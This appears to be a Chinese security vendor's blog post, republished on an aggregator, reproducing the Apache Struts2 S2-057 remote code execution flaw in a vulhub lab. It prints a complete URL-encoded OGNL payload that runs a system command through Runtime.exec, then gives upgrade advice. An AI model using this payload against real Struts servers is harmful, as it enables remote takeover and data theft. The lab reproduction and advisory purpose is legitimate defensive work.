网站apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现
S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权到服务器管理员权限,网站数据被篡改,数据库被盗取都会发生。
目前我们SINE安全对该S2-057漏洞的测试,发现受影响的版本是Apache Struts 2.3–ApacheStruts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已经紧急的对该S2-057漏洞进行了修复。
通过国外曝出来的漏洞poc,我们来介绍下Struts2漏洞该如何的利用:
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去。
我们首先来搭建下struts2的环境,找一台windows服务器,使用一键部署工具部署好测试环境,vulhub环境也搭建好如下图:
接下来就是Struts2漏洞的利用与复现过程:
访问网站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action
将${(sine+sine)}里的内容换成exp,EXP内容如下:
%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.action
复制exp内容到浏览器执行,发现服务器会直接运行计算器如下图:
S2-057漏洞修复建议:
升级到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升级即可官方已经做好漏洞补丁,完全兼容。
专注于安全领域 解决网站安全 解决网站被黑 网站被挂马 网站被篡改 网站安全、服务器安全提供商-www.sinesafe.com --专门解决其他人解决不了的网站安全问题.低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
【星云测试】开发者测试(2)-采用精准测试工具对J2EE Guns开发框架进行测试
配置测试Guns Guns简介Guns是一个近几年来基于SpringBoot的开源便利且较新的JavaEE项目开发框架,它整合了springmvc + shiro + mybatis-plus + beetl + flowable多项开源技术,致力于让Java后台开发更简洁快速 一,Guns的环境Guns 源码 Maven Eclipse-Photon JDK8 MySQL 安装环境 注:Eclipse和JDK的安装和安装包就用自己现有的就可以,星云测试将提供MySQL和Nodejs的安装包,但必须前提是用户自己的本机上不存在安装的MySQL和Nodejs脚本安装mysql和nodejs(一键安装) 1、解压星云提供TT_Soft安装包(例如D盘根目录,mysql和node的安装路径) 2、打开TT_Soft文件夹 3、以管理员身份运行TeststarsSoftInstall.exe 4、等待自动安装完成,窗口提示mysql初始化完成,关闭窗口 5、注销或重启电脑 6、使用net start mysql 命令启动MySQL服务 7、使用node –v查看node版本 二,...
- 下一篇
这几道Java集合框架面试题在面试中几乎必问
本文是“最最最常见Java面试题总结”系列第三周的文章。主要内容: Arraylist 与 LinkedList 异同 ArrayList 与 Vector 区别 HashMap的底层实现 HashMap 和 Hashtable 的区别 HashMap 的长度为什么是2的幂次方 HashSet 和 HashMap 区别 ConcurrentHashMap 和 Hashtable 的区别 ConcurrentHashMap线程安全的具体实现方式/底层具体实现 集合框架底层数据结构总结 本文会同步更新在我开源的Java学习指南仓库 Java-Guide (一份涵盖大部分Java程序员所需要掌握的核心知识,正在一步一步慢慢完善,期待您的参与)中,地址:https://github.com/Snailclimb/Java-Guide,欢迎star、issue、pr。 Arraylist 与 LinkedList 异同 1. 是否保证线程安全: ArrayList 和 LinkedList 都是不同步的,也就是不保证线程安全; 2. 底层数据结构: Arraylist 底层使用的是Object数...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- CentOS关闭SELinux安全模块
- CentOS8安装MyCat,轻松搞定数据库的读写分离、垂直分库、水平分库
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- CentOS8编译安装MySQL8.0.19
- Docker安装Oracle12C,快速搭建Oracle学习环境
- CentOS8安装Docker,最新的服务器搭配容器使用
- MySQL8.0.19开启GTID主从同步CentOS8
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- SpringBoot2整合Redis,开启缓存,提高访问速度